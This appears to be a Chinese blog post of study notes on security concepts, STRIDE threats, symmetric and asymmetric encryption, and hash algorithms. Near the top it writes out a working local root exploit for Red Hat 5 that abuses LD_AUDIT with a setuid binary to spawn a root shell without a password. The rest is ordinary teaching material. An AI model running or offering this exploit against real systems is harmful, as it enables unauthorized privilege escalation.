安全与加密算法

安全相关概念:

安全防护环节

  • 物理安全:各种设备/主机、机房环境
  • 系统安全:主机或设备的操作系统
  • 应用安全:各种网络服务、应用程序
  • 网络安全:对网络访问的控制、防火墙规则
  • 数据安全:信息的备份与恢复、加密解密
  • 管理安全:各种保障性的规范、流程、方法

常见的安全攻击STRIDE

  • Spoofing 假冒
  • Tampering 篡改
  • Repudiation 否认
  • Information Disclosure 信息泄漏
  • Denial of Service 拒绝服务
  • Elevation of Privilege 提升权限

例:红帽5的gcc漏洞:
mkdir /tmp/hj
ln /bin/ping /tmp/hj/test
exec 3< /tmp/hj/test
rm -rf /tmp/hj
cat > /tmp/hj.c <<-eof
  void _attribute_((constructor)) init(){
  setuid(0);
  system("/bin/bash");
}
eof

gcc -w -fPIC -shared -o /tmp/hj /tmp/hj.c
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
#此时切换root身份不再需要密码

常用安全技术

  • 认证
  • 授权
  • 审计
  • 安全通信

加密算法和协议

  • 对称加密
  • 非对称(公钥)加密
  • 单向加密
  • 认证协议

对称加密算法:

对称加密: 加密和解密使用同一个密钥

特性:

  • 加密、解密使用同一个密钥,效率高
  • 将原始数据分割成固定大小的块,逐个进行加密

缺陷:

  • 密钥过多
  • 密钥分发
  • 数据来源无法确认

常见对称加密算法:

  • DES:Data Encryption Standard,56bits
  • 3DES:
  • AES:Advanced (128, 192, 256bits)
  • Blowfish,Twofish
  • idea、rc6、casts

非对称加密算法:

非对称加密: 密钥是成对出现

  • 公钥: public key,公开给所有人,主要给别人加密使用
  • 私钥: secret key,private key 自己留存,必须保证其私密性,用于自已加密签名

特点: 用公钥加密数据,只能使用与之配对的私钥解密;反之亦然

功能:

  • 数据加密:适合加密较小数据,比如: 加密对称密钥
  • 数字签名:主要在于让接收方确认发送方身份,私钥加密,公钥解密叫数字签名

缺点:

  • 密钥长,算法复杂
  • 加密解密效率低下

常见非对称加密算法:

  • RSA: 由RSA公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文件块的长度也是可变的,可实现加密和数字签名
  • DSA(Digital Signature Algorithm): 数字签名算法,是一种标准的DSS(数字签名标准)
  • ECC(Elliptic Curves Cryptography): 椭圆曲线密码编码学,比RSA加密算法使用更小的密钥,提供相当的或更高等级的安全

单向哈希算法:

哈希算法: 也称为散列算法,将任意数据缩小成固定大小的“指纹”,称为digest,即摘要

特性:

  • 任意长度输入,固定长度输出
  • 若修改数据,指纹也会改变,且有雪崩效应,数据的一点微小改变,生成的指纹值变化非常大。
  • 无法从指纹中重新生成数据,即不要逆,具有单向性

功能: 数据完整性验证

常见算法:

  • md5: 128bits 已破解
  • sha1: 160bits 已破解
  • sha224 、sha256、sha384、sha512

常用加密工具:

  • md5sum、sha1sum、sha224sum、sha256sum、shaxxx
  • openssl dgst -算法名
  • gpg
posted @ 2022-01-27 16:29  suyanhj  阅读(82)  评论(0)    收藏  举报